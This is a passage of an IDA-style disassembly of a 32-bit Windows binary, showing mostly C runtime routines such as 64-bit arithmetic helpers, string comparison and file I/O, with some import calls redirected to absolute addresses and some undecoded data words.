dword_4DC918, eax retn sub_41D052 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D081 proc near ; CODE XREF: ___:0040DB4Bp var_CC = byte ptr -0CCh var_32 = word ptr -32h var_24 = dword ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1A = word ptr -1Ah var_18 = word ptr -18h var_16 = word ptr -16h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0CCh lea eax, [ebp+var_10] push eax nop call near ptr 2760190h lea eax, [ebp+var_20] push eax nop call near ptr 2860000h mov ax, [ebp+var_16] cmp ax, word_4DB2E2 jnz short loc_41D0E6 mov ax, [ebp+var_18] cmp ax, word_4DB2E0 jnz short loc_41D0E6 mov ax, [ebp+var_1A] cmp ax, word_4DB2DE jnz short loc_41D0E6 mov ax, [ebp+var_1E] cmp ax, word_4DB2DA jnz short loc_41D0E6 mov ax, [ebp+var_20] cmp ax, word_4DB2D8 jnz short loc_41D0E6 mov eax, dword_4DB2D0 jmp short loc_41D12B ; --------------------------------------------------------------------------- loc_41D0E6: ; CODE XREF: sub_41D081+28j ; sub_41D081+35j ... lea eax, [ebp+var_CC] push eax nop call near ptr 2850000h cmp eax, 0FFFFFFFFh jz short loc_41D113 cmp eax, 2 jnz short loc_41D10F cmp [ebp+var_32], 0 jz short loc_41D10F cmp [ebp+var_24], 0 jz short loc_41D10F push 1 pop eax jmp short loc_41D116 ; --------------------------------------------------------------------------- loc_41D10F: ; CODE XREF: sub_41D081+7Aj ; sub_41D081+81j ... xor eax, eax jmp short loc_41D116 ; --------------------------------------------------------------------------- loc_41D113: ; CODE XREF: sub_41D081+75j or eax, 0FFFFFFFFh loc_41D116: ; CODE XREF: sub_41D081+8Cj ; sub_41D081+90j push esi push edi lea esi, [ebp+var_20] mov edi, offset word_4DB2D8 movsd movsd movsd movsd pop edi mov dword_4DB2D0, eax pop esi loc_41D12B: ; CODE XREF: sub_41D081+63j push eax movzx eax, [ebp+var_4] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_10] push eax call sub_422669 mov ecx, [ebp+arg_0] add esp, 1Ch test ecx, ecx jz short locret_41D15B mov [ecx], eax locret_41D15B: ; CODE XREF: sub_41D081+D6j leave retn sub_41D081 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D160 proc near arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] lea eax, dword_4DB32C cmp dword ptr [eax+8], 0 jnz short loc_41D1B3 mov al, 0FFh mov edi, edi loc_41D17C: ; CODE XREF: sub_41D160+28j ; sub_41D160+48j or al, al jz short loc_41D1AE mov al, [esi] inc esi mov ah, [edi] inc edi cmp ah, al jz short loc_41D17C sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h xchg ah, al sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h cmp al, ah jz short loc_41D17C sbb al, al sbb al, 0FFh loc_41D1AE: ; CODE XREF: sub_41D160+1Ej movsx eax, al jmp short loc_41D1E7 ; --------------------------------------------------------------------------- loc_41D1B3: ; CODE XREF: sub_41D160+16j mov eax, 0FFh xor ebx, ebx mov edi, edi loc_41D1BC: ; CODE XREF: sub_41D160+68j ; sub_41D160+80j or al, al jz short loc_41D1E7 mov al, [esi] inc esi mov bl, [edi] inc edi cmp al, bl jz short loc_41D1BC push eax push ebx call sub_41D74C mov ebx, eax add esp, 4 call sub_41D74C add esp, 4 cmp bl, al jz short loc_41D1BC sbb eax, eax sbb eax, 0FFFFFFFFh loc_41D1E7: ; CODE XREF: sub_41D160+51j ; sub_41D160+5Ej pop ebx pop esi pop edi leave retn sub_41D160 endp ; --------------------------------------------------------------------------- push esi mov esi, [esp+8] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_41D268 mov edi, [esp+14h] test edi, edi jz short loc_41D20B cmp edi, 1 jz short loc_41D20B cmp edi, 2 jnz short loc_41D268 loc_41D20B: ; CODE XREF: ___:0041D1FFj ; ___:0041D204j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_41D222 push esi call sub_4227C5 add [esp+14h], eax pop ecx xor edi, edi loc_41D222: ; CODE XREF: ___:0041D213j push esi call sub_41DB8B mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_41D237 and al, 0FCh mov [esi+0Ch], eax jmp short loc_41D24B ; --------------------------------------------------------------------------- loc_41D237: ; CODE XREF: ___:0041D22Ej test al, 1 jz short loc_41D24B test al, 8 jz short loc_41D24B test ah, 4 jnz short loc_41D24B mov dword ptr [esi+18h], 200h loc_41D24B: ; CODE XREF: ___:0041D235j ; ___:0041D239j ... push edi push dword ptr [esp+14h] push dword ptr [esi+10h] call sub_42272B add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_41D275 ; --------------------------------------------------------------------------- loc_41D268: ; CODE XREF: ___:0041D1F7j ; ___:0041D209j mov dword_4DB278, 16h or eax, 0FFFFFFFFh loc_41D275: ; CODE XREF: ___:0041D266j pop edi pop esi retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D280 proc near ; CODE XREF: sub_412B08+19Ep ; sub_41386B+11Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_41D299 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_41D299: ; CODE XREF: sub_41D280+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_41D280 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D2B4 proc near ; CODE XREF: ___:004162E3p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_4], edi test edi, edi mov [ebp+arg_0], eax mov ebx, edi jnz short loc_41D2D8 xor eax, eax jmp loc_41D3A5 ; --------------------------------------------------------------------------- loc_41D2D8: ; CODE XREF: sub_41D2B4+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41D2EB mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41D2F2 ; --------------------------------------------------------------------------- loc_41D2EB: ; CODE XREF: sub_41D2B4+2Dj mov [ebp+arg_C], 1000h loc_41D2F2: ; CODE XREF: sub_41D2B4+35j ; sub_41D2B4+E8j mov ecx, [esi+0Ch] and ecx, 108h jz short loc_41D326 mov eax, [esi+4] test eax, eax jz short loc_41D326 cmp ebx, eax mov edi, ebx jb short loc_41D30C mov edi, eax loc_41D30C: ; CODE XREF: sub_41D2B4+54j push edi push [ebp+arg_0] push dword ptr [esi] call sub_41C310 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+arg_0], edi jmp short loc_41D36C ; --------------------------------------------------------------------------- loc_41D326: ; CODE XREF: sub_41D2B4+47j ; sub_41D2B4+4Ej cmp ebx, [ebp+arg_C] jb short loc_41D371 test ecx, ecx jz short loc_41D33A push esi call sub_41DB8B test eax, eax pop ecx jnz short loc_41D3B3 loc_41D33A: ; CODE XREF: sub_41D2B4+79j cmp [ebp+arg_C], 0 jz short loc_41D34D mov eax, ebx xor edx, edx div [ebp+arg_C] mov edi, ebx sub edi, edx jmp short loc_41D34F ; --------------------------------------------------------------------------- loc_41D34D: ; CODE XREF: sub_41D2B4+8Aj mov edi, ebx loc_41D34F: ; CODE XREF: sub_41D2B4+97j push edi push [ebp+arg_0] push dword ptr [esi+10h] call sub_42291D add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_41D3AA add [ebp+arg_0], eax sub ebx, eax cmp eax, edi jb short loc_41D3AA loc_41D36C: ; CODE XREF: sub_41D2B4+70j mov edi, [ebp+var_4] jmp short loc_41D39A ; --------------------------------------------------------------------------- loc_41D371: ; CODE XREF: sub_41D2B4+75j mov eax, [ebp+arg_0] push esi movsx eax, byte ptr [eax] push eax call sub_41F58A pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_41D3B3 inc [ebp+arg_0] mov eax, [esi+18h] dec ebx mov [ebp+arg_C], eax test eax, eax jg short loc_41D39A mov [ebp+arg_C], 1 loc_41D39A: ; CODE XREF: sub_41D2B4+BBj ; sub_41D2B4+DDj test ebx, ebx jnz loc_41D2F2 mov eax, [ebp+arg_8] loc_41D3A5: ; CODE XREF: sub_41D2B4+1Fj ; sub_41D2B4+108j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41D3AA: ; CODE XREF: sub_41D2B4+ADj ; sub_41D2B4+B6j or dword ptr [esi+0Ch], 20h mov eax, [ebp+var_4] jmp short loc_41D3B5 ; --------------------------------------------------------------------------- loc_41D3B3: ; CODE XREF: sub_41D2B4+84j ; sub_41D2B4+CFj mov eax, edi loc_41D3B5: ; CODE XREF: sub_41D2B4+FDj sub eax, ebx xor edx, edx div [ebp+arg_4] jmp short loc_41D3A5 sub_41D2B4 endp ; =============== S U B R O U T I N E ======================================= sub_41D3BE proc near ; CODE XREF: sub_416908+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] call near ptr 2670457h nop cmp eax, 0FFFFFFFFh jnz short loc_41D3DE nop call near ptr 2660DCFh push eax call sub_4203DF pop ecx loc_41D3DA: ; CODE XREF: sub_41D3BE+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41D3DE: ; CODE XREF: sub_41D3BE+Dj test al, 1 jz short loc_41D3FF test [esp+arg_4], 2 jz short loc_41D3FF mov dword_4DB278, 0Dh mov dword_4DB27C, 5 jmp short loc_41D3DA ; --------------------------------------------------------------------------- loc_41D3FF: ; CODE XREF: sub_41D3BE+22j ; sub_41D3BE+29j xor eax, eax retn sub_41D3BE endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D410 proc near ; CODE XREF: sub_416922+3Fp ; sub_41A98C+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_41D432 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_41D473 ; --------------------------------------------------------------------------- loc_41D432: ; CODE XREF: sub_41D410+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_41D440: ; CODE XREF: sub_41D410+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41D440 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_41D46E cmp edx, [esp+8+arg_4] ja short loc_41D46E jb short loc_41D46F cmp eax, [esp+8+arg_0] jbe short loc_41D46F loc_41D46E: ; CODE XREF: sub_41D410+4Ej ; sub_41D410+54j dec esi loc_41D46F: ; CODE XREF: sub_41D410+56j ; sub_41D410+5Cj xor edx, edx mov eax, esi loc_41D473: ; CODE XREF: sub_41D410+20j pop esi pop ebx retn 10h sub_41D410 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D480 proc near ; CODE XREF: sub_416922+2Dp ; sub_41A98C+3Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_41D4A1 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_41D4F1 ; --------------------------------------------------------------------------- loc_41D4A1: ; CODE XREF: sub_41D480+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_41D4AF: ; CODE XREF: sub_41D480+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41D4AF div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_41D4DA cmp edx, [esp+4+arg_4] ja short loc_41D4DA jb short loc_41D4E2 cmp eax, [esp+4+arg_0] jbe short loc_41D4E2 loc_41D4DA: ; CODE XREF: sub_41D480+4Aj ; sub_41D480+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_41D4E2: ; CODE XREF: sub_41D480+52j ; sub_41D480+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_41D4F1: ; CODE XREF: sub_41D480+1Fj pop ebx retn 10h sub_41D480 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D500 proc near ; CODE XREF: sub_416A32+5Fp ; sub_416A32+92p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_41D521 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_41D521: ; CODE XREF: sub_41D500+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41D53D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41D53D: ; CODE XREF: sub_41D500+27j or eax, eax jnz short loc_41D559 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_41D59A ; --------------------------------------------------------------------------- loc_41D559: ; CODE XREF: sub_41D500+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_41D567: ; CODE XREF: sub_41D500+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_41D567 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_41D595 cmp edx, [esp+0Ch+arg_4] ja short loc_41D595 jb short loc_41D596 cmp eax, [esp+0Ch+arg_0] jbe short loc_41D596 loc_41D595: ; CODE XREF: sub_41D500+85j ; sub_41D500+8Bj dec esi loc_41D596: ; CODE XREF: sub_41D500+8Dj ; sub_41D500+93j xor edx, edx mov eax, esi loc_41D59A: ; CODE XREF: sub_41D500+57j dec edi jnz short loc_41D5A4 neg edx neg eax sbb edx, 0 loc_41D5A4: ; CODE XREF: sub_41D500+9Bj pop ebx pop esi pop edi retn 10h sub_41D500 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D5AA proc near ; CODE XREF: sub_4170EC+BFp ; sub_4170EC+12Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, dword_4DB334 push ebx xor ebx, ebx cmp eax, ebx mov [ebp+var_4], ebx jnz short loc_41D5DE mov eax, [ebp+arg_0] mov edx, eax cmp [eax], bl jz short loc_41D645 loc_41D5C6: ; CODE XREF: sub_41D5AA+30j mov cl, [edx] cmp cl, 61h jl short loc_41D5D7 cmp cl, 7Ah jg short loc_41D5D7 sub cl, 20h mov [edx], cl loc_41D5D7: ; CODE XREF: sub_41D5AA+21j ; sub_41D5AA+26j inc edx cmp [edx], bl jnz short loc_41D5C6 jmp short loc_41D645 ; --------------------------------------------------------------------------- loc_41D5DE: ; CODE XREF: sub_41D5AA+11j push esi push edi push 1 push ebx push ebx push ebx push 0FFFFFFFFh mov esi, 200h push [ebp+arg_0] push esi push eax call sub_422ACA mov edi, eax add esp, 20h cmp edi, ebx jz short loc_41D637 push edi call sub_41B4D5 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_41D637 push 1 push ebx push edi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push dword_4DB334 call sub_422ACA add esp, 20h test eax, eax jz short loc_41D637 push [ebp+var_4] push [ebp+arg_0] call sub_41BEB0 pop ecx pop ecx loc_41D637: ; CODE XREF: sub_41D5AA+53j ; sub_41D5AA+61j ... push [ebp+var_4] call sub_41B0B1 mov eax, [ebp+arg_0] pop ecx pop edi pop esi loc_41D645: ; CODE XREF: sub_41D5AA+1Aj ; sub_41D5AA+32j pop ebx leave retn sub_41D5AA endp ; =============== S U B R O U T I N E ======================================= sub_41D648 proc near ; CODE XREF: sub_417ADD+1A8p arg_0 = dword ptr 4 cmp dword_43C504, 1 jle short loc_41D65F push 4 push [esp+4+arg_0] call sub_41F515 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41D65F: ; CODE XREF: sub_41D648+7j mov eax, [esp+arg_0] mov ecx, off_43C2F8 mov al, [ecx+eax*2] and eax, 4 retn sub_41D648 endp ; =============== S U B R O U T I N E ======================================= sub_41D670 proc near ; CODE XREF: sub_420510+76p ; sub_420510+88p ... arg_0 = dword ptr 4 cmp dword_43C504, 1 jle short loc_41D687 push 8 push [esp+4+arg_0] call sub_41F515 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41D687: ; CODE XREF: sub_41D670+7j mov eax, [esp+arg_0] mov ecx, off_43C2F8 mov al, [ecx+eax*2] and eax, 8 retn sub_41D670 endp ; --------------------------------------------------------------------------- align 10h mov eax, [esp+0Ch] test eax, eax jz short locret_41D6EC mov edx, [esp+4] push esi push edi mov esi, edx mov edi, [esp+10h] or edx, edi and edx, 3 jz short loc_41D6ED test eax, 1 jz short loc_41D6CD mov cl, [esi] cmp cl, [edi] jnz short loc_41D71A inc esi inc edi dec eax jz short loc_41D6EA loc_41D6CD: ; CODE XREF: ___:0041D6C0j ; ___:0041D6E8j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41D71A mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41D71A add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41D6CD loc_41D6EA: ; CODE XREF: ___:0041D6CBj ; ___:0041D724j pop edi pop esi locret_41D6EC: ; CODE XREF: ___:0041D6A6j retn ; --------------------------------------------------------------------------- loc_41D6ED: ; CODE XREF: ___:0041D6B9j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_41D722 repe cmpsd jz short loc_41D722 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_41D715 cmp ch, dh jnz short loc_41D715 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_41D715 cmp ch, dh loc_41D715: ; CODE XREF: ___:0041D703j ; ___:0041D707j ... mov eax, 0 loc_41D71A: ; CODE XREF: ___:0041D6C6j ; ___:0041D6D3j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41D722: ; CODE XREF: ___:0041D6F5j ; ___:0041D6F9j test eax, eax jz short loc_41D6EA mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_41D715 dec eax jz short loc_41D749 cmp dh, ch jnz short loc_41D715 dec eax jz short loc_41D749 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_41D715 dec eax loc_41D749: ; CODE XREF: ___:0041D72Fj ; ___:0041D736j pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D74C proc near ; CODE XREF: sub_418068+6p ; sub_418086+4Ap ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DB334, 0 push ebx push esi push edi jnz short loc_41D779 mov eax, [ebp+arg_0] cmp eax, 41h jl loc_41D812 cmp eax, 5Ah jg loc_41D812 add eax, 20h jmp loc_41D812 ; --------------------------------------------------------------------------- loc_41D779: ; CODE XREF: sub_41D74C+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_41D7AD cmp dword_43C504, esi jle short loc_41D79B push esi push ebx call sub_41F515 pop ecx pop ecx jmp short loc_41D7A5 ; --------------------------------------------------------------------------- loc_41D79B: ; CODE XREF: sub_41D74C+42j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, esi loc_41D7A5: ; CODE XREF: sub_41D74C+4Dj test eax, eax jnz short loc_41D7AD loc_41D7A9: ; CODE XREF: sub_41D74C+ADj mov eax, ebx jmp short loc_41D812 ; --------------------------------------------------------------------------- loc_41D7AD: ; CODE XREF: sub_41D74C+3Aj ; sub_41D74C+5Bj mov edx, off_43C2F8 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_41D7D1 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_41D7DA ; --------------------------------------------------------------------------- loc_41D7D1: ; CODE XREF: sub_41D74C+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_41D7DA: ; CODE XREF: sub_41D74C+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push dword_4DB334 call sub_422ACA add esp, 20h test eax, eax jz short loc_41D7A9 cmp eax, esi jnz short loc_41D805 movzx eax, [ebp+var_4] jmp short loc_41D812 ; --------------------------------------------------------------------------- loc_41D805: ; CODE XREF: sub_41D74C+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_41D812: ; CODE XREF: sub_41D74C+16j ; sub_41D74C+1Fj ... pop edi pop esi pop ebx leave retn sub_41D74C endp ; =============== S U B R O U T I N E ======================================= sub_41D817 proc near ; CODE XREF: sub_4185A4+ADp ; sub_419593+55p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_41D82E loc_41D824: ; CODE XREF: sub_41D817+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_41D824 loc_41D82E: ; CODE XREF: sub_41D817+Bj sub eax, ecx sar eax, 1 dec eax retn sub_41D817 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D834 proc near ; CODE XREF: sub_4185A4+7Fp ; sub_4185A4+90p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_41D901 mov edi, [ebp+arg_8] cmp edi, esi jz loc_41D92E cmp dword_4DB334, esi jnz short loc_41D885 cmp edi, esi jbe loc_41D92E loc_41D864: ; CODE XREF: sub_41D834+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_41D92E inc eax inc edx inc edx cmp eax, edi jb short loc_41D864 jmp loc_41D92E ; --------------------------------------------------------------------------- loc_41D885: ; CODE XREF: sub_41D834+26j mov ebx, [ebp+arg_4] mov esi, dword_427180 push edi push edx push 0FFFFFFFFh push ebx push 9 push dword_4DB344 call esi test eax, eax jnz loc_41D92D nop call near ptr 2660DCFh cmp eax, 7Ah jz short loc_41D8BF loc_41D8B0: ; CODE XREF: sub_41D834+CBj ; sub_41D834+F7j mov dword_4DB278, 2Ah or eax, 0FFFFFFFFh jmp short loc_41D92E ; --------------------------------------------------------------------------- loc_41D8BF: ; CODE XREF: sub_41D834+7Aj lea ecx, [edi-1] mov eax, ebx mov [ebp+arg_4], ecx loc_41D8C7: ; CODE XREF: sub_41D834+B3j mov cl, [eax] test cl, cl jz short loc_41D8E9 mov edx, off_43C2F8 movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_41D8DE inc eax loc_41D8DE: ; CODE XREF: sub_41D834+A7j mov ecx, [ebp+arg_4] inc eax dec [ebp+arg_4] test ecx, ecx jnz short loc_41D8C7 loc_41D8E9: ; CODE XREF: sub_41D834+97j push edi sub eax, ebx push [ebp+arg_0] push eax push ebx push 1 push dword_4DB344 call esi test eax, eax jnz short loc_41D92E jmp short loc_41D8B0 ; --------------------------------------------------------------------------- loc_41D901: ; CODE XREF: sub_41D834+Fj cmp dword_4DB334, esi jnz short loc_41D914 push [ebp+arg_4] call sub_41AFE0 pop ecx jmp short loc_41D92E ; --------------------------------------------------------------------------- loc_41D914: ; CODE XREF: sub_41D834+D3j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push dword_4DB344 nop call near ptr 2800000h cmp eax, esi jz short loc_41D8B0 loc_41D92D: ; CODE XREF: sub_41D834+6Bj dec eax loc_41D92E: ; CODE XREF: sub_41D834+1Aj ; sub_41D834+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_41D834 endp ; --------------------------------------------------------------------------- db 4 dd 0F27D6044h, 48722AE0h, 8CDE20E0h, 0A1648CD6h, 0 dd 25896450h, 0 dd 5358EC83h, 65895756h, 4276E8E8h, 33900245h, 89D48AD2h dd 4DB29015h, 81C88B00h, 0FFE1h, 8C0D8900h, 0C1004DB2h dd 0CA0308E1h, 0B2880D89h, 0E8C1004Dh, 0B284A310h, 0F633004Dh dd 440E856h, 85590000h, 6A0875C0h, 0B0E81Ch, 89590000h dd 5BE8FC75h, 90000059h, 454204E8h, 0C90CA302h, 19E8004Dh dd 0A3000058h, 4DB2E8h, 55C2E8h, 5504E800h, 0B9E80000h dd 89FFFFDDh, 458DD075h, 0E89050A4h, 2452628h, 5495E8h dd 9C458900h, 1D045F6h, 0B70F0674h, 3EBD445h, 50580A6Ah dd 569C75FFh, 4CE89056h, 5002252Bh, 0FE3820E8h, 0A04589FFh dd 0DDA7E850h, 458BFFFFh, 8B088BECh, 984D8909h, 0D3E85150h dd 59000052h, 658BC359h, 9875FFE8h, 0FFDD99E8h db 0FFh ; =============== S U B R O U T I N E ======================================= sub_41DA29 proc near ; CODE XREF: sub_41D052+16p ; ___:00422F18p ... arg_0 = dword ptr 4 cmp dword_4DB2F0, 1 jnz short loc_41DA37 call sub_423590 loc_41DA37: ; CODE XREF: sub_41DA29+7j push [esp+arg_0] call sub_4235C9 push 0FFh call off_43A2C0 pop ecx pop ecx retn sub_41DA29 endp ; --------------------------------------------------------------------------- dw 3D83h dd offset dword_4DB2F0 dd 0E8057501h, 5B34h, 42474FFh, 5B64E8h, 0FF685900h, 0E8000000h dd 77A58245h db 90h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_41DA72 proc near ; CODE XREF: sub_41B05B+2Ap ; sub_423A33+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, dword_4DC6C0 jnb loc_41DB0C mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:4DC5C0h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_41DB0C push edi call sub_4238A2 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41DAEB cmp edi, 1 jz short loc_41DAB9 cmp edi, 2 jnz short loc_41DACF loc_41DAB9: ; CODE XREF: sub_41DA72+40j push 2 call sub_4238A2 push 1 mov ebp, eax call sub_4238A2 pop ecx cmp eax, ebp pop ecx jz short loc_41DAEB loc_41DACF: ; CODE XREF: sub_41DA72+45j push edi call sub_4238A2 pop ecx push eax call near ptr 2640897h nop test eax, eax jnz short loc_41DAEB nop call near ptr 2660DCFh mov ebp, eax jmp short loc_41DAED ; --------------------------------------------------------------------------- loc_41DAEB: ; CODE XREF: sub_41DA72+3Bj ; sub_41DA72+5Bj ... xor ebp, ebp loc_41DAED: ; CODE XREF: sub_41DA72+77j push edi call sub_423828 mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_41DB08 push ebp call sub_4203DF pop ecx jmp short loc_41DB1D ; --------------------------------------------------------------------------- loc_41DB08: ; CODE XREF: sub_41DA72+8Bj xor eax, eax jmp short loc_41DB20 ; --------------------------------------------------------------------------- loc_41DB0C: ; CODE XREF: sub_41DA72+Ej ; sub_41DA72+2Fj and dword_4DB27C, 0 mov dword_4DB278, 9 loc_41DB1D: ; CODE XREF: sub_41DA72+94j or eax, 0FFFFFFFFh loc_41DB20: ; CODE XREF: sub_41DA72+98j pop edi pop esi pop ebp pop ebx retn sub_41DA72 endp ; =============== S U B R O U T I N E ======================================= sub_41DB25 proc near ; CODE XREF: sub_41B05B+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_41DB4E test al, 8 jz short loc_41DB4E push dword ptr 